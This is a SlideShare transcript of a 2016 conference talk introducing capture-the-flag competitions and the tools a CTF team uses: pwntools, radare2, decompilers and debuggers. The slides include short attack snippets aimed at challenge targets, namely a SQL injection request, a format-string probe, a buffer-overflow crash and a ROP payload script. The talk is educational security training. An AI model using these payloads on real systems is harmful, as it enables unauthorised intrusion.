SlideShare a Scribd company logo
1 of 44
Download to read offline
A CTF Hackers Toolbox
Grazer Linuxtage 2016
$ who
mike/@f0rki
f0rki@hack.more.systems
CS/InfoSec Student
CTF Player since 2010
@stefan2904
stefan@hack.more.systems
CS/InfoSec/CI Student
CTF Player since 2014
CTF: Capture The Flag
Collaborative hacking competitions
Teams vs. Teams
The goal is to capture ags
CTF{THIS_IS_A_FLAG}
CTF Type: Jeopardy
Figure: Sharif CTF Challenge Board
CTF Type: Attack-Defense
Figure: RUCTFe 2015 Network Schema (source: RUCTF org)
CTF Type: Attack-Defense
Figure: FAUST CTF 2015 scoreboard
Why CTFs?
It's fun!
Gain experience in Information Security
Challenges modeled after real-world problems
Sometimes real-world bugs modeled after CTF bugs?
LosFuzzys: A CTF Team in Graz
We Like Bugs!
LosFuzzys: A CTF Team in Graz
A group of people interested in information security
Primarily CS/SW/ICE Students from TUGraz
But we welcome anyone interested and motivated :)
and maybe even you ;)
Irregular Meet-ups
Where to start?
Talk to us! :-)
https://hack.more.systems
twitter: @LosFuzzys
Read writeups!
Repo: github.com/ctfs
Ours: hack.more.systems/writeups
CTF Toolbox
CTF Toolbox
Great diversity of challenges
Some things turn up frequently
Knowledge of technology necessary
Experience helps a lot
Using the right tools is essential
assuming you know how to use them . . .
Scripting is your best Friend
Be comfortable in automating things
Use whatever works best
bash, zsh etc.
Python, Ruby etc.
Command-Line-Fu is very helpful
Standard utils  grep, sed, awk, sort, cut, uniq, . . .
Network stu  nc, socat, dig, nmap
Query json  jq
HTTP  curl
. . .
Pipe together to get your results!
Bash Password Guessing
f o r x in q w e r t y u i o p a s d f g h j k l z 
x c v b n m Q W E R T Y U I O P A S D F G H J 
K L Z X C V B N M 1 2 3 4 5 6 7 8 9 0 − _ ?
do
echo = $x =
# count s i g a c t i o n s y s c a l l s
s t r a c e ./ stage3 . bin Did_you_l$x$x$x$x$x$x$x$x 21 
| grep s i g a c t i o n 
| wc −l
done  log
# get h i g h e s t count of s i g a c t i o n s and t r i g g e r i n g char
cat log | grep −B 1 
$ ( cat log | grep −v = | s o r t | uniq | t a i l −n 1)
Automated Browsing  python-requests
import r e q u e s t s
URL = ' http :// c t f . example . com '
s = r e q u e s t s . s e s s i o n ()
r = s . post (URL + ' / l o g i n ' ,
data={ ' user ' : ' fuzzy ' , ' pass ' : ' 1234 ' })
# GET http :// c t f . example . com/ vuln ?x=' or%201=1−−x
resp = s . get (URL + ' / vuln ' ,
params={ ' x ' : '  ' or 1=1 −−x ' })
# s e s s i o n cookie automagically used here
p r i n t resp . t e x t
# f l a g {some_flag_of_some_service}
Dirty Networking  pwntools
from pwn import ∗
r = remote ( ' c t f . example . com ' , 1337)
# l i n e based
r . r e c v l i n e ()
r . s e n d l i n e ( 'HELO %s%s%s%s ' )
r . r e c v u n t i l ( ' 250 Hello ' )
data = r . recv (4)
# unpack LE uint32 from bin
i = u32 ( data )
log . i n f o ( ' r e c e i v e d uint32 {} ' . format ( i ))
# pack BE uint32 to bin
r . send ( p32 (1094795585 , endian=' big ' ))
r . r e c v l i n e ()
Finding  Analyzing Vulnerabilities
Analyzing Java/.NET Apps
Great decompilers!
Java/Dalvik bytecode
intellij built-in decompiler (fernower), procyon
http://www.javadecompilers.com/
Android apps/Dalvik bytecode
apktool, smali/baksmali, jadx
Xposed
.NET bytecode
ILSpy, Jetbrains dotPeek
A wild binary appears!
$ f i l e ./ pwn
pwn : ELF 32− b i t LSB executable , I n t e l 80386 ,
v e r s i o n 1 (GNU/ Linux ) , s t a t i c a l l y linked ,
f o r GNU/ Linux 2 . 6 . 2 4 ,
not s t r i p p e d
$ objdump -d ./pwn | less
Keep Calm
And
Use radare2
From git
radare2  example commands
Search for functions containing exec
afl~exec
Show/search all strings in the le
izz
izz~FLAG
Compute CRC32 over next 32 byte
#crc32 32
Binary Decompilers
No really good open source binary decompilers :(
The radare guys are working on one
Commercial/Closed-Source
Hex-Rays/IDA Pro Decompiler ($$$)
Hopper ($)
retdec (free, webservice, no x86_64)
Debugging?
Debuggers
Use gdb with one of those:
PEDA
GEF
pwndbg
voltron
gdb-dashboard
gdb alternatives: lldb, radare2
Newer debugging approaches
qira
rr
Pwning!
$ mkfifo ./ f i f o
$ ./ pwn ./ f i f o  python −c ' p r i n t (A∗4128) '  ./ f i f o
[ 1 ] 9391
The f i l e has been saved s u c c e s s f u l l y
[ 1 ] + 9391 segmentation f a u l t ( core dumped) ./ pwn ./ f i f o
$ dmesg | t a i l −n 1
pwn [ 9 3 9 1 ] : s e g f a u l t at 41414141 ip 0000000041414141
sp 00000000 ffb6d340 e r r o r 14
pwntools again!
from pwn import ∗ # NOQA
v e l f = ELF(  ./ pwn )
r = ROP( v e l f )
r . c a l l (  e x i t  , [ 4 2 ] )
payload = A ∗ 4124 + s t r ( r )
# launch process
vp = process ( [  ./ pwn ,  ./ f i f o  ] )
gdb . attach ( vp )
# break ∗0 x8048f4e
with open (  ./ f i f o  , w ) as f :
f . w r i t e ( payload )
# forward s t d i n / stdout to process s t d i n / stdout
vp . i n t e r a c t i v e ()
pwntools/binjitsu
I/O abstraction (called Tubes)
ELF parser/info
Return Oriented Programming (ROP)
Shellcode
plug'n'pwn
shellcode builder
Binary data parsing
. . .
Cryptography
Crypto Tools
Pen  Paper
sage
CAS  python
packages implementing attacks, e.g.
python-paddingoracle
hashpumpy (hash length extension attack)
. . .
Learn to Improvise
Premature optimization* is the root of all evil!
* also commenting code
* also clean code
(only true for attack  during CTFs!)
If it works once, . . . it works!
Code-reuse between dierent CTFs!
Post-CTF code cleanup would be good . . .
A fool with a tool is still a fool!
https://hack.more.systems
Thanks to
all LosFuzzys members
tuflowgraphy.at
realraum
IAIK
Writeups of Used Examples
https://hack.more.systems/writeups
9447ctf: premonition (web)
NDH quals 2016: matriochka (reversing)
NDH quals 2016: secure le reader (pwn)
don't be eve!

More Related Content

What's hot

Introduction to UBI
Introduction to UBIIntroduction to UBI
Introduction to UBI
Roy Lee
 

What's hot (20)

Introduction to UBI
Introduction to UBIIntroduction to UBI
Introduction to UBI
 
BGA Pentest Hizmeti
BGA Pentest HizmetiBGA Pentest Hizmeti
BGA Pentest Hizmeti
 
Suricata: A Decade Under the Influence (of packet sniffing)
Suricata: A Decade Under the Influence (of packet sniffing)Suricata: A Decade Under the Influence (of packet sniffing)
Suricata: A Decade Under the Influence (of packet sniffing)
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
 
Cloud Native Workload ATT&CK Matrix
Cloud Native Workload ATT&CK MatrixCloud Native Workload ATT&CK Matrix
Cloud Native Workload ATT&CK Matrix
 
Siber Güvenlik Kış Kampı'18 Soruları
Siber Güvenlik Kış Kampı'18 SorularıSiber Güvenlik Kış Kampı'18 Soruları
Siber Güvenlik Kış Kampı'18 Soruları
 
Linux : PSCI
Linux : PSCILinux : PSCI
Linux : PSCI
 
Log Yönetimi ve Saldırı Analizi Eğitimi - 2
Log Yönetimi ve Saldırı Analizi Eğitimi - 2Log Yönetimi ve Saldırı Analizi Eğitimi - 2
Log Yönetimi ve Saldırı Analizi Eğitimi - 2
 
10 Adımda Sızma Testleri
10 Adımda Sızma Testleri10 Adımda Sızma Testleri
10 Adımda Sızma Testleri
 
快快樂樂SIMD
快快樂樂SIMD快快樂樂SIMD
快快樂樂SIMD
 
BackTrack Linux-101 Eğitimi
BackTrack Linux-101 EğitimiBackTrack Linux-101 Eğitimi
BackTrack Linux-101 Eğitimi
 
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm ÖnerileriDNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
 
Client Side Exploits using PDF
Client Side Exploits using PDFClient Side Exploits using PDF
Client Side Exploits using PDF
 
A Journey to Boot Linux on Raspberry Pi
A Journey to Boot Linux on Raspberry PiA Journey to Boot Linux on Raspberry Pi
A Journey to Boot Linux on Raspberry Pi
 
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım SenaryolarıWebinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
 
Kurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı Analizi
Kurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı AnaliziKurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı Analizi
Kurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı Analizi
 
Mobil Uygulama Güvenlik Testlerinde Sertifika Sabitleme Özelliğinin Atlatılması
Mobil Uygulama Güvenlik Testlerinde Sertifika Sabitleme Özelliğinin AtlatılmasıMobil Uygulama Güvenlik Testlerinde Sertifika Sabitleme Özelliğinin Atlatılması
Mobil Uygulama Güvenlik Testlerinde Sertifika Sabitleme Özelliğinin Atlatılması
 
Rust
RustRust
Rust
 
Beyaz Şapkalı Hacker CEH Eğitimi - Siber Güvenlik Temelleri
Beyaz Şapkalı Hacker CEH Eğitimi - Siber Güvenlik TemelleriBeyaz Şapkalı Hacker CEH Eğitimi - Siber Güvenlik Temelleri
Beyaz Şapkalı Hacker CEH Eğitimi - Siber Güvenlik Temelleri
 
XXE: How to become a Jedi
XXE: How to become a JediXXE: How to become a Jedi
XXE: How to become a Jedi
 

Viewers also liked

Implantación de una sección bilingüe
Implantación de una sección bilingüeImplantación de una sección bilingüe
Implantación de una sección bilingüe
Carmen Arias
 
Propuesta 2.0 museo v 03
Propuesta 2.0 museo v 03Propuesta 2.0 museo v 03
Propuesta 2.0 museo v 03
Publis NCM
 
Hypnotic Fusion of Portraits By Antonio Mora
Hypnotic Fusion of Portraits By Antonio MoraHypnotic Fusion of Portraits By Antonio Mora
Hypnotic Fusion of Portraits By Antonio Mora
maditabalnco
 
Alimentos transgénicos
Alimentos transgénicosAlimentos transgénicos
Alimentos transgénicos
makaciencia
 
Caso de estudio 6
Caso de estudio 6Caso de estudio 6
Caso de estudio 6
Liz Rembao
 

Viewers also liked (20)

Ctf For Beginner
Ctf For BeginnerCtf For Beginner
Ctf For Beginner
 
Playing 44CON CTF for fun and profit
Playing 44CON CTF for fun and profitPlaying 44CON CTF for fun and profit
Playing 44CON CTF for fun and profit
 
EUhackathon 2015: Team Tschunk
EUhackathon 2015: Team TschunkEUhackathon 2015: Team Tschunk
EUhackathon 2015: Team Tschunk
 
Building the 44CON CTF
Building the 44CON CTFBuilding the 44CON CTF
Building the 44CON CTF
 
Capture The Flag
Capture The FlagCapture The Flag
Capture The Flag
 
Python
PythonPython
Python
 
Root the Box - An Open Source Platform for CTF Administration
Root the Box - An Open Source Platform for CTF AdministrationRoot the Box - An Open Source Platform for CTF Administration
Root the Box - An Open Source Platform for CTF Administration
 
HITCON CTF 2014 BambooFox 解題心得分享
HITCON CTF 2014 BambooFox 解題心得分享HITCON CTF 2014 BambooFox 解題心得分享
HITCON CTF 2014 BambooFox 解題心得分享
 
Best nature photography in india
Best nature photography in indiaBest nature photography in india
Best nature photography in india
 
How to Setup A Pen test Lab and How to Play CTF
How to Setup A Pen test Lab and How to Play CTF How to Setup A Pen test Lab and How to Play CTF
How to Setup A Pen test Lab and How to Play CTF
 
Operating Systems - A Primer
Operating Systems - A PrimerOperating Systems - A Primer
Operating Systems - A Primer
 
LeAnne Bloedon (Aegerion) Rare Disease Day 2016 Conference
LeAnne Bloedon (Aegerion) Rare Disease Day 2016 Conference LeAnne Bloedon (Aegerion) Rare Disease Day 2016 Conference
LeAnne Bloedon (Aegerion) Rare Disease Day 2016 Conference
 
The art of standing out.
The art of standing out.The art of standing out.
The art of standing out.
 
Implantación de una sección bilingüe
Implantación de una sección bilingüeImplantación de una sección bilingüe
Implantación de una sección bilingüe
 
Propuesta 2.0 museo v 03
Propuesta 2.0 museo v 03Propuesta 2.0 museo v 03
Propuesta 2.0 museo v 03
 
ODS2 Client Cases
ODS2  Client CasesODS2  Client Cases
ODS2 Client Cases
 
Hypnotic Fusion of Portraits By Antonio Mora
Hypnotic Fusion of Portraits By Antonio MoraHypnotic Fusion of Portraits By Antonio Mora
Hypnotic Fusion of Portraits By Antonio Mora
 
Numeracion del 1 al 10 (Material para PRIMER GRADO DE PRIMARIA) Iván Marcos T...
Numeracion del 1 al 10 (Material para PRIMER GRADO DE PRIMARIA) Iván Marcos T...Numeracion del 1 al 10 (Material para PRIMER GRADO DE PRIMARIA) Iván Marcos T...
Numeracion del 1 al 10 (Material para PRIMER GRADO DE PRIMARIA) Iván Marcos T...
 
Alimentos transgénicos
Alimentos transgénicosAlimentos transgénicos
Alimentos transgénicos
 
Caso de estudio 6
Caso de estudio 6Caso de estudio 6
Caso de estudio 6
 

Similar to A CTF Hackers Toolbox

Simplest-Ownage-Human-Observed… - Routers
 Simplest-Ownage-Human-Observed… - Routers Simplest-Ownage-Human-Observed… - Routers
Simplest-Ownage-Human-Observed… - Routers
Logicaltrust pl
 
Filip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routersFilip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routers
Yury Chemerkin
 
Cypherock Assessment (1).pdf
Cypherock Assessment (1).pdfCypherock Assessment (1).pdf
Cypherock Assessment (1).pdf
PARNIKA GUPTA
 
All I know about rsc.io/c2go
All I know about rsc.io/c2goAll I know about rsc.io/c2go
All I know about rsc.io/c2go
Moriyoshi Koizumi
 

Similar to A CTF Hackers Toolbox (20)

Simplest-Ownage-Human-Observed… - Routers
 Simplest-Ownage-Human-Observed… - Routers Simplest-Ownage-Human-Observed… - Routers
Simplest-Ownage-Human-Observed… - Routers
 
Filip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routersFilip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routers
 
Python and Machine Learning
Python and Machine LearningPython and Machine Learning
Python and Machine Learning
 
Debug generic process
Debug generic processDebug generic process
Debug generic process
 
How Secure Are Docker Containers?
How Secure Are Docker Containers?How Secure Are Docker Containers?
How Secure Are Docker Containers?
 
printf("%s from %c to Z, in %d minutes!\n", "printf", 'A', 45);
printf("%s from %c to Z, in %d minutes!\n", "printf", 'A', 45);printf("%s from %c to Z, in %d minutes!\n", "printf", 'A', 45);
printf("%s from %c to Z, in %d minutes!\n", "printf", 'A', 45);
 
Os lab final
Os lab finalOs lab final
Os lab final
 
Linux kernel tracing superpowers in the cloud
Linux kernel tracing superpowers in the cloudLinux kernel tracing superpowers in the cloud
Linux kernel tracing superpowers in the cloud
 
Cypherock Assessment (1).pdf
Cypherock Assessment (1).pdfCypherock Assessment (1).pdf
Cypherock Assessment (1).pdf
 
golang_getting_started.pptx
golang_getting_started.pptxgolang_getting_started.pptx
golang_getting_started.pptx
 
All I know about rsc.io/c2go
All I know about rsc.io/c2goAll I know about rsc.io/c2go
All I know about rsc.io/c2go
 
Kamil witecki asynchronous, yet readable, code
Kamil witecki asynchronous, yet readable, codeKamil witecki asynchronous, yet readable, code
Kamil witecki asynchronous, yet readable, code
 
Performance Profiling in Rust
Performance Profiling in RustPerformance Profiling in Rust
Performance Profiling in Rust
 
Introduction to Compiler Development
Introduction to Compiler DevelopmentIntroduction to Compiler Development
Introduction to Compiler Development
 
Advanced Debugging Using Java Bytecodes
Advanced Debugging Using Java BytecodesAdvanced Debugging Using Java Bytecodes
Advanced Debugging Using Java Bytecodes
 
Rust LDN 24 7 19 Oxidising the Command Line
Rust LDN 24 7 19 Oxidising the Command LineRust LDN 24 7 19 Oxidising the Command Line
Rust LDN 24 7 19 Oxidising the Command Line
 
04 - I love my OS, he protects me (sometimes, in specific circumstances)
04 - I love my OS, he protects me (sometimes, in specific circumstances)04 - I love my OS, he protects me (sometimes, in specific circumstances)
04 - I love my OS, he protects me (sometimes, in specific circumstances)
 
CONFidence 2015: DTrace + OSX = Fun - Andrzej Dyjak
CONFidence 2015: DTrace + OSX = Fun - Andrzej Dyjak   CONFidence 2015: DTrace + OSX = Fun - Andrzej Dyjak
CONFidence 2015: DTrace + OSX = Fun - Andrzej Dyjak
 
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
 
Much ado about randomness. What is really a random number?
Much ado about randomness. What is really a random number?Much ado about randomness. What is really a random number?
Much ado about randomness. What is really a random number?
 

Recently uploaded

CALL ON ➥8923113531 🔝Call Girls Badshah Nagar Lucknow best Female service
CALL ON ➥8923113531 🔝Call Girls Badshah Nagar Lucknow best Female serviceCALL ON ➥8923113531 🔝Call Girls Badshah Nagar Lucknow best Female service
CALL ON ➥8923113531 🔝Call Girls Badshah Nagar Lucknow best Female service
anilsa9823
 
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICECHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
9953056974 Low Rate Call Girls In Saket, Delhi NCR
 

Recently uploaded (20)

How To Troubleshoot Collaboration Apps for the Modern Connected Worker
How To Troubleshoot Collaboration Apps for the Modern Connected WorkerHow To Troubleshoot Collaboration Apps for the Modern Connected Worker
How To Troubleshoot Collaboration Apps for the Modern Connected Worker
 
Software Quality Assurance Interview Questions
Software Quality Assurance Interview QuestionsSoftware Quality Assurance Interview Questions
Software Quality Assurance Interview Questions
 
How To Use Server-Side Rendering with Nuxt.js
How To Use Server-Side Rendering with Nuxt.jsHow To Use Server-Side Rendering with Nuxt.js
How To Use Server-Side Rendering with Nuxt.js
 
The Ultimate Test Automation Guide_ Best Practices and Tips.pdf
The Ultimate Test Automation Guide_ Best Practices and Tips.pdfThe Ultimate Test Automation Guide_ Best Practices and Tips.pdf
The Ultimate Test Automation Guide_ Best Practices and Tips.pdf
 
Unlocking the Future of AI Agents with Large Language Models
Unlocking the Future of AI Agents with Large Language ModelsUnlocking the Future of AI Agents with Large Language Models
Unlocking the Future of AI Agents with Large Language Models
 
A Secure and Reliable Document Management System is Essential.docx
A Secure and Reliable Document Management System is Essential.docxA Secure and Reliable Document Management System is Essential.docx
A Secure and Reliable Document Management System is Essential.docx
 
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
 
Diamond Application Development Crafting Solutions with Precision
Diamond Application Development Crafting Solutions with PrecisionDiamond Application Development Crafting Solutions with Precision
Diamond Application Development Crafting Solutions with Precision
 
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
 
CALL ON ➥8923113531 🔝Call Girls Badshah Nagar Lucknow best Female service
CALL ON ➥8923113531 🔝Call Girls Badshah Nagar Lucknow best Female serviceCALL ON ➥8923113531 🔝Call Girls Badshah Nagar Lucknow best Female service
CALL ON ➥8923113531 🔝Call Girls Badshah Nagar Lucknow best Female service
 
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
 
5 Signs You Need a Fashion PLM Software.pdf
5 Signs You Need a Fashion PLM Software.pdf5 Signs You Need a Fashion PLM Software.pdf
5 Signs You Need a Fashion PLM Software.pdf
 
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
 
Tech Tuesday-Harness the Power of Effective Resource Planning with OnePlan’s ...
Tech Tuesday-Harness the Power of Effective Resource Planning with OnePlan’s ...Tech Tuesday-Harness the Power of Effective Resource Planning with OnePlan’s ...
Tech Tuesday-Harness the Power of Effective Resource Planning with OnePlan’s ...
 
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdfLearn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
 
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICECHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
 
Microsoft AI Transformation Partner Playbook.pdf
Microsoft AI Transformation Partner Playbook.pdfMicrosoft AI Transformation Partner Playbook.pdf
Microsoft AI Transformation Partner Playbook.pdf
 
SyndBuddy AI 2k Review 2024: Revolutionizing Content Syndication with AI
SyndBuddy AI 2k Review 2024: Revolutionizing Content Syndication with AISyndBuddy AI 2k Review 2024: Revolutionizing Content Syndication with AI
SyndBuddy AI 2k Review 2024: Revolutionizing Content Syndication with AI
 
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...
 
call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️
call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️
call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️
 

A CTF Hackers Toolbox

  • 1. A CTF Hackers Toolbox Grazer Linuxtage 2016
  • 2. $ who mike/@f0rki f0rki@hack.more.systems CS/InfoSec Student CTF Player since 2010 @stefan2904 stefan@hack.more.systems CS/InfoSec/CI Student CTF Player since 2014
  • 3. CTF: Capture The Flag Collaborative hacking competitions Teams vs. Teams The goal is to capture ags
  • 5. CTF Type: Jeopardy Figure: Sharif CTF Challenge Board
  • 6. CTF Type: Attack-Defense Figure: RUCTFe 2015 Network Schema (source: RUCTF org)
  • 7. CTF Type: Attack-Defense Figure: FAUST CTF 2015 scoreboard
  • 8. Why CTFs? It's fun! Gain experience in Information Security Challenges modeled after real-world problems Sometimes real-world bugs modeled after CTF bugs?
  • 9. LosFuzzys: A CTF Team in Graz We Like Bugs!
  • 10. LosFuzzys: A CTF Team in Graz A group of people interested in information security Primarily CS/SW/ICE Students from TUGraz But we welcome anyone interested and motivated :) and maybe even you ;) Irregular Meet-ups
  • 11. Where to start? Talk to us! :-) https://hack.more.systems twitter: @LosFuzzys Read writeups! Repo: github.com/ctfs Ours: hack.more.systems/writeups
  • 13. CTF Toolbox Great diversity of challenges Some things turn up frequently Knowledge of technology necessary Experience helps a lot Using the right tools is essential assuming you know how to use them . . .
  • 14. Scripting is your best Friend Be comfortable in automating things Use whatever works best bash, zsh etc. Python, Ruby etc.
  • 15. Command-Line-Fu is very helpful Standard utils grep, sed, awk, sort, cut, uniq, . . . Network stu nc, socat, dig, nmap Query json jq HTTP curl . . . Pipe together to get your results!
  • 16. Bash Password Guessing f o r x in q w e r t y u i o p a s d f g h j k l z x c v b n m Q W E R T Y U I O P A S D F G H J K L Z X C V B N M 1 2 3 4 5 6 7 8 9 0 − _ ? do echo = $x = # count s i g a c t i o n s y s c a l l s s t r a c e ./ stage3 . bin Did_you_l$x$x$x$x$x$x$x$x 21 | grep s i g a c t i o n | wc −l done log # get h i g h e s t count of s i g a c t i o n s and t r i g g e r i n g char cat log | grep −B 1 $ ( cat log | grep −v = | s o r t | uniq | t a i l −n 1)
  • 17. Automated Browsing python-requests import r e q u e s t s URL = ' http :// c t f . example . com ' s = r e q u e s t s . s e s s i o n () r = s . post (URL + ' / l o g i n ' , data={ ' user ' : ' fuzzy ' , ' pass ' : ' 1234 ' }) # GET http :// c t f . example . com/ vuln ?x=' or%201=1−−x resp = s . get (URL + ' / vuln ' , params={ ' x ' : ' ' or 1=1 −−x ' }) # s e s s i o n cookie automagically used here p r i n t resp . t e x t # f l a g {some_flag_of_some_service}
  • 18. Dirty Networking pwntools from pwn import ∗ r = remote ( ' c t f . example . com ' , 1337) # l i n e based r . r e c v l i n e () r . s e n d l i n e ( 'HELO %s%s%s%s ' ) r . r e c v u n t i l ( ' 250 Hello ' ) data = r . recv (4) # unpack LE uint32 from bin i = u32 ( data ) log . i n f o ( ' r e c e i v e d uint32 {} ' . format ( i )) # pack BE uint32 to bin r . send ( p32 (1094795585 , endian=' big ' )) r . r e c v l i n e ()
  • 19. Finding Analyzing Vulnerabilities
  • 20. Analyzing Java/.NET Apps Great decompilers! Java/Dalvik bytecode intellij built-in decompiler (fernower), procyon http://www.javadecompilers.com/ Android apps/Dalvik bytecode apktool, smali/baksmali, jadx Xposed .NET bytecode ILSpy, Jetbrains dotPeek
  • 21. A wild binary appears! $ f i l e ./ pwn pwn : ELF 32− b i t LSB executable , I n t e l 80386 , v e r s i o n 1 (GNU/ Linux ) , s t a t i c a l l y linked , f o r GNU/ Linux 2 . 6 . 2 4 , not s t r i p p e d
  • 22. $ objdump -d ./pwn | less
  • 23.
  • 25.
  • 26.
  • 27.
  • 28. radare2 example commands Search for functions containing exec afl~exec Show/search all strings in the le izz izz~FLAG Compute CRC32 over next 32 byte #crc32 32
  • 29. Binary Decompilers No really good open source binary decompilers :( The radare guys are working on one Commercial/Closed-Source Hex-Rays/IDA Pro Decompiler ($$$) Hopper ($) retdec (free, webservice, no x86_64)
  • 31.
  • 32.
  • 33. Debuggers Use gdb with one of those: PEDA GEF pwndbg voltron gdb-dashboard gdb alternatives: lldb, radare2 Newer debugging approaches qira rr
  • 34. Pwning! $ mkfifo ./ f i f o $ ./ pwn ./ f i f o python −c ' p r i n t (A∗4128) ' ./ f i f o [ 1 ] 9391 The f i l e has been saved s u c c e s s f u l l y [ 1 ] + 9391 segmentation f a u l t ( core dumped) ./ pwn ./ f i f o $ dmesg | t a i l −n 1 pwn [ 9 3 9 1 ] : s e g f a u l t at 41414141 ip 0000000041414141 sp 00000000 ffb6d340 e r r o r 14
  • 35. pwntools again! from pwn import ∗ # NOQA v e l f = ELF( ./ pwn ) r = ROP( v e l f ) r . c a l l ( e x i t , [ 4 2 ] ) payload = A ∗ 4124 + s t r ( r ) # launch process vp = process ( [ ./ pwn , ./ f i f o ] ) gdb . attach ( vp ) # break ∗0 x8048f4e with open ( ./ f i f o , w ) as f : f . w r i t e ( payload ) # forward s t d i n / stdout to process s t d i n / stdout vp . i n t e r a c t i v e ()
  • 36.
  • 37.
  • 38. pwntools/binjitsu I/O abstraction (called Tubes) ELF parser/info Return Oriented Programming (ROP) Shellcode plug'n'pwn shellcode builder Binary data parsing . . .
  • 40. Crypto Tools Pen Paper sage CAS python packages implementing attacks, e.g. python-paddingoracle hashpumpy (hash length extension attack) . . .
  • 41. Learn to Improvise Premature optimization* is the root of all evil! * also commenting code * also clean code (only true for attack during CTFs!) If it works once, . . . it works! Code-reuse between dierent CTFs! Post-CTF code cleanup would be good . . .
  • 42. A fool with a tool is still a fool!
  • 43. https://hack.more.systems Thanks to all LosFuzzys members tuflowgraphy.at realraum IAIK
  • 44. Writeups of Used Examples https://hack.more.systems/writeups 9447ctf: premonition (web) NDH quals 2016: matriochka (reversing) NDH quals 2016: secure le reader (pwn) don't be eve!